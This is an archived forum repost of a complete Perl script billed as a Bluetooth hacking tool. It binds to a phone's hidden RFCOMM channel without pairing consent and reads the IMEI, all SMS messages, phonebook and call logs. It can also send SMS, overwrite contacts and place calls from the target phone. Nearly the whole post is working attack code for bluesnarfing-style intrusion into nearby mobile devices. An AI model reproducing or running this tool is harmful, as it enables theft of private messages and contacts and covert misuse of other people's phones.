邪恶八进制信息安全团队技术讨论组's Archiver

冰血封情 2005-7-16 01:51

[转载]Small data extraction utility that is designed for bluetooth hacking

文章作者：pierre kroma

[code]#!/usr/bin/perl  
#
# bluetooth hacking tool
#
# written by pierre kroma
# [email]kroma@syss.de[/email]

use Device::Gsm;
use Getopt::Std;
use Term::ReadLine;
use Device::Modem;
use Term::ANSIColor;


############################ U S A G E ###################################
getopts("bcpsv", \%args);

system ("clear");
print "\nBluetooth Pentester\n";
print "written by pierre kroma (kroma\@syss.de)\n\n";

if (!defined $args{s})  {
print qq~
Usage: perl bluetest.pl -s { -b <bt-addr> -c channel -p -v }
      -b <bt-addr>  = hardware address of the target bluetooth device (example: 00:11:22:33:44:55)
      -c <channel>  = channel
    -p          = ping the remote device
    -s          = start the script
      -v         = be verbose

~; exit;}


################################## D E F I N I T I O N ####################
# tools
my $hcitool="/usr/bin/hcitool";
my $l2ping ="/usr/bin/l2ping";
my $rfcomm ="/usr/bin/rfcomm";
my $lsusb = "/usr/sbin/lsusb";
my $hciconfig = "/usr/sbin/hciconfig";
my $bluefw = "/sbin/bluefw";

# variable
my $bluedev="hci0";
my $bt_addr = 0;
my $channel = $args{c};
my $i = 0;



#################### S U B R O U T I N E S #################################

sub init_adapter
{
    use strict;

    my $busnum = "";
    my $devnum = "";
    # busid 0a12:0001 = linksys USBBT100 usb bluetooth stick
    my $id = `$lsusb 2>/dev/null |grep 0a12:0001`;
    # more generic
    # my $id = `$lsusb 2>/dev/null |grep -i bluetooth`;

    if ( $id =~ /Bus (\d{3}) Device (\d{3}): ID 0a12:0001/ )
    {
        $busnum = $1;
        $devnum = $2;
        system("$bluefw usb $busnum\/$devnum");
        system("$hciconfig $bluedev up");
        sleep(1.5);
    }
}

sub init_modem
{
    $modem = new Device::Modem( port => &#39;/dev/rfcomm0&#39; );
    if( $modem->connect( baudrate => 9600 ) ) {
            # print "connected!\n";
      } else {
            print "sorry, cannot connect to your serial port!\n";
      }
    # turn off the local echo
    $modem->echo(0);
}

sub searching
{
    print color &#39;bold blue&#39;;   
    print "search devices\n";
    print color &#39;reset&#39;;
    my @scan = `$hcitool scan | grep -v "Scanning"`;
    foreach $line (@scan)
    {
        print $i++;
        print $line;
    }
    print "\n";
}

sub selecting
{
    # select a device
    if($args{&#39;b&#39;})
    {   
        $bt_addr = $args{b};   
    }
    else
    {
        $term = new Term::ReadLine &#39;bluetooth address reader&#39;;
        my $prompt = "Enter hw-addr (example: 00:11:22:33:44:55): ";
        my $OUT = $term->OUT || \*STDOUT;
        $bt_addr = $term->readline($prompt);
    }
}


sub ping
{
    # ping the remote device
    if($args{&#39;p&#39;})
    {
       # ping the remote device
       print color &#39;bold blue&#39;;
       print "\nping the remote device $bt_addr\n";
       print color &#39;reset&#39;;
       die "You must be root to use l2ping!\n" if $> != 0;
       system ("$l2ping -c 5 $bt_addr");
    }
}

sub binding
{
    # binding a device
    print color &#39;bold blue&#39;;
    print "\n\nbind a device to $bt_addr \t\t";
    print color &#39;reset&#39;;
    if($args{&#39;c&#39;})
    {
        $channel = $args{c};
    }
    else
    {
        # setting default nokia 6310i hidden channel 17 or 18
        $channel = 17;
    }

    system("$rfcomm release $bluedev 2>/dev/null");
    sleep(2);
    system("$rfcomm bind $bluedev $bt_addr $channel 2>/dev/null");
    sleep(2);

    # Connect to the mobile phone
    # for devfs
    # my $gsm = new Device::Gsm( port => &#39;/dev/bluetooth/rfcomm/0&#39; );

    # for udev
    $gsm = new Device::Gsm( port => &#39;/dev/rfcomm0&#39; );

      if( $gsm->connect() )
    {
        print color &#39;bold green&#39;;
            print "connected!\n";
        print color &#39;reset&#39;;
      }
    else
    {
        print color &#39;bold red&#39;;
            print "sorry, no connection with gsm phone on serial port!\n";
        print color &#39;reset&#39;;
        exit (1);
      }

    # Register to GSM network
    $gsm->register();
}

sub manu
{
    # Extract the manufacturer
    my $man_name = $gsm->manufacturer();
    print "manufacture: $man_name \n";
}

sub model
{
    # model
    my $model = $gsm->model();
    print "model: $model \n";
}

sub sw
{
    # software revision
    $modem->atsend( &#39;AT+CGMR&#39; . Device::Modem::CR );
      $rev = $modem->answer();
    $rev =~ s/\r//g;
    $rev =~ s/OK//g;
    print "software revision: \n \n $rev";
    sleep(1);
}

sub imei
{
    # Extract the IMEI number
    my $imei = $gsm->imei();
    $imei =~ s/\r//g;
    $imei =~ s/OK//g;
    print "IMEI: (International Mobile Equipment Identifier) = $imei \n\n";
}


sub readbook
{
    print color &#39;bold blue&#39;;
    print "\n\nextract the phonebook\n\n";
    print color &#39;reset&#39;;
    if($args{&#39;v&#39;})  
    {
    print "storagelocation:";
    print qq~
ME => storage: device
SM => storage: SIM-card
MT => combination of ME + SM (doesn磘 work FOR MY 6310i)
BM => storage: CB-news
    ~;
    }
        
    print "\nsupported storage location";
    $modem->atsend( &#39;AT+CPMS=?&#39; . Device::Modem::CR );
      $types = $modem->answer();
    $types =~ s/\r//g;
      $types =~ s/\n//g;
    $types =~ s/OK//g;
    $types =~ s/\+CPMS//g;
    print "$types \n";
   
    print "\ncurrent phonebooksource";
    $modem->atsend( &#39;AT+CPBS?&#39; . Device::Modem::CR );
      $source = $modem->answer();
    $source =~ s/\r//g;
      $source =~ s/\n//g;
    $source =~ s/OK//g;
    $source =~ s/\+CPBS//g;
    print $source;
    print "\n\n";

    print "\ncurrent used storage on device";
    $command="AT+CPBS=\"ME\"";
    $modem->atsend( $command . Device::Modem::CR );
    $modem->atsend( &#39;AT+CPBS?&#39; . Device::Modem::CR );
      $memory = $modem->answer();
    $memory =~ s/\r//g;
      $memory =~ s/\n//g;
    $memory =~ s/OK//g;
    $memory =~ s/\+CPBS//g;
    print $memory;

    print "\ncurrent used storage on SIM";
    $command="AT+CPBS=\"SM\"";
    $modem->atsend( $command . Device::Modem::CR );
    $modem->atsend( &#39;AT+CPBS?&#39; . Device::Modem::CR );
      $source = $modem->answer();
    $source =~ s/\r//g;
      $source =~ s/\n//g;
    $source =~ s/OK//g;
    $source =~ s/\+CPBS//g;
    print $source;
    print "\n\n";

    my $prompt = "What do you want to readout? (ME oder SM) : ";
    my $OUT = $term->OUT || \*STDOUT;
    $type = $term->readline($prompt);

    $command = "AT+CPBS=\"$type\"";
    $modem->atsend( $command . Device::Modem::CR );
      $asource = $modem->answer();
    $asource =~ s/\r//g;
      $asource =~ s/\n//g;
    $asource =~ s/OK//g;
    print $asource;

    my $prompt = "starting from entry (>=0): \t ";
    my $OUT = $term->OUT || \*STDOUT;
    $start = $term->readline($prompt);
    print "\n";
    my $prompt = "ending to entry:\t\t";
    my $OUT = $term->OUT || \*STDOUT;
    $max = $term->readline($prompt);
    print "\n";

    if ( $start > $max || $start <= &#39;0&#39; )
    {
        print "oops damn f*cking long night? \n";
        print "initial value <= 0? \n";
        print "or initial value  > final value? \n";
        exit (1);
    }
    list_entries ();

    print "\nextract last 5 dialled numbers: \n";
    $command = "AT+CPBS=\"DC\"";
    $modem->atsend( $command . Device::Modem::CR );
      $asource = $modem->answer();
    $asource =~ s/\r//g;
      $asource =~ s/\n//g;
    $asource =~ s/OK//g;
    print $asource;
    $start=1;
    $max=5;
    list_entries ();

    print "\nlast 5 missed calls: \n";
    $command = "AT+CPBS=\"MC\"";
    $modem->atsend( $command . Device::Modem::CR );
      $asource = $modem->answer();
    $asource =~ s/\r//g;
      $asource =~ s/\n//g;
    $asource =~ s/OK//g;
    print $asource;
    $start=1;
    $max=5;
    list_entries ();

    print "\nlast 5 received calls: \n";
    $command = "AT+CPBS=\"RC\"";
    $modem->atsend( $command . Device::Modem::CR );
      $asource = $modem->answer();
    $asource =~ s/\r//g;
      $asource =~ s/\n//g;
    $asource =~ s/OK//g;
    print $asource;
    $start=1;
    $max=5;
    list_entries ();
}

sub list_entries
{
    $i = $start;
    foreach $i ( $start..$max )
    {
        $command = "AT+CPBR=$i";
        $modem->atsend( $command . Device::Modem::CR );   
        $entry = $modem->answer();

        # format
        $entry =~ s/\r//g;
          $entry =~ s/\n//g;
        $entry =~ s/OK//g;

        # parse
        # type = 145 = international format = number starts with +
        # type = 129 = unknown number format = didn&#39;t start with +

          ( $pos, $num, $type, $tag ) = $entry =~ m/^\+CPBR: ($i),"(.+?)",(\d+),"(.+)?"\r?$/m;

        $type =~ s/145/international/g;
        $type =~ s/129/unknown/g;
   
        if ( $num == &#39;&#39; )
        {   
            print "entry $i: is empty \n";
        }
        else
        {
            print "entry $i: $num, $type, $tag \n";
            
        }
    }
}

sub sendsms
{
    # Send a text message quickly
    print color &#39;bold blue&#39;;
    print "\n\nwrite a message (SMS)\n";
    print color &#39;reset&#39;;
    print "\n";
    my $prompt = "recipient (example +4912345678): ";
    my $OUT = $term->OUT || \*STDOUT;
    $recipient = $term->readline($prompt);
    print "\n";

    my $prompt = "message: ";
    my $OUT = $term->OUT || \*STDOUT;
    $message = $term->readline($prompt);

    my $status = $gsm->send_sms(
                        recipient => $recipient,
                        content  => $message
                );
    if ( $status )
    {   
        print color &#39;bold green&#39;;
        print "\nmessage transmitted successfully.\n";
        print color &#39;reset&#39;;
    }
    else
    {
        print color &#39;bold red&#39;;
        print "\nERROR: message couldn`t delivered.\n" ;
        print color &#39;reset&#39;;
    }
    sleep(2);
}

sub readsms
{
    # Get list of device::Gsm::Sms message objects
    # see `examples/read_messages.pl&#39; for all details
   
    # get mode status
    $modem->atsend( &#39;AT+CMGF?&#39; . Device::Modem::CR );
    print color &#39;bold blue&#39;;
    print "\nSMS Menu";
    print color &#39;reset&#39;;
    print "\n \ncurrent sms status (0=PDU, 1=text)";
      my $status = $modem->answer();
    $status =~ s/\r//g;
      $status =~ s/\n//g;
    $status =~ s/OK//g;
    $status =~ s/\+CMGF//g;
    print $status;
    sleep(2);
   
    # switch to text mode (does not work with 6310i)
    # print "switch to text mode \n";
    # $modem->atsend( &#39;AT+CMGF=1&#39; . Device::Modem::CR );
      # print $modem->answer();

    print "\n\nextract all sms \n";   
    $modem->atsend( &#39;AT+CMGL=4&#39; . Device::Modem::CR );
      my $extract = $modem->answer();
    $extract =~ s/OK//g;
    $extract =~ s/\+CMGL://g;
    sleep(2);
    print $extract;
   
}

sub call
{
    # read number   
    print color &#39;bold blue&#39;;
    print "\n\nmaking a call\n";
    print color &#39;reset&#39;;
    print "\n";
    my $prompt = "Which number should be called? (example: 004970714078560): ";
    my $OUT = $term->OUT || \*STDOUT;
    $number = $term->readline($prompt);
    print "\ncalling $number \n";   
    my $max = 20;
    if (fork)
    {
        $modem->dial( $number );
    }
    else
    {
        print "waiting $max seconds before ring off: ";
        $i = 0;
        foreach $i ( 1..$max )
        {   
            print "$i ";
            sleep(1);
        }
        print "\n";
        $modem->hangup();
    }
}

sub writebook
{
    print color &#39;bold blue&#39;;
    print "\ncreate a phonebook entry";
    print color &#39;reset&#39;;
    print "\n";
    my $prompt = "storage space number (ATTENTION: you may overwrite an existing entry:): ";
    my $OUT = $term->OUT || \*STDOUT;
    $nr = $term->readline($prompt);
    print "\n";
    my $prompt = "phone-number (format +49123456789): ";
    my $OUT = $term->OUT || \*STDOUT;
    $tel = $term->readline($prompt);
    print "\n";
    my $prompt = "name: ";
    my $OUT = $term->OUT || \*STDOUT;
    $name = $term->readline($prompt);
    print "\n";
    my $prompt = "storage location (ME=device, SM=SIM): ";
    my $OUT = $term->OUT || \*STDOUT;
    $place = $term->readline($prompt);

    $command="AT+CPBS=\"$place\"";
    $modem->atsend( $command . Device::Modem::CR );

    $command="AT+CPBW=$nr,\"$tel\",145,\"$name\"";
    $modem->atsend( $command . Device::Modem::CR );
      $source = $modem->answer();
    $source =~ s/\r//g;
      $source =~ s/\n//g;
    $source =~ s/OK//g;
    print $source;

    print "\n\nchecking......";
    $start = $nr - 5;
    $max = 5;
    if ( $start <= 0 )
    {
        $start = $nr;
    }
    $max = $nr + 5;
    print "\n extract your phonebook from storage space number $start to $max \n";
    list_entries ();
    print "\n";
}

sub key
{
    my $message = "- press any key -";
    my $OUT = $term->OUT || \*STDOUT;
    $term->readline($message);
}

sub final
{
    #system (&#39;cat ./logo.txt&#39;);
    print color &#39;bold red&#39;;
    print "\t\t\t\twritten by pierre kroma (kroma\@syss.de)\n\n";
    print color &#39;reset&#39;;
    $modem->disconnect();
    print "\n";
}
   

############################# M A I N ###############################

init_adapter ();
searching ();
selecting ();
ping ();
binding ();
init_modem ();
print color &#39;bold blue&#39;;
print "\nextract device information\n";
print color &#39;reset&#39;;
manu ();
model ();
sw ();
imei ();
key();
readsms ();
sendsms ();
key ();
readbook ();
writebook ();
key ();
call ();
key ();
final ();[/code]

页: [1]
© 1999-2008 EvilOctal Security Team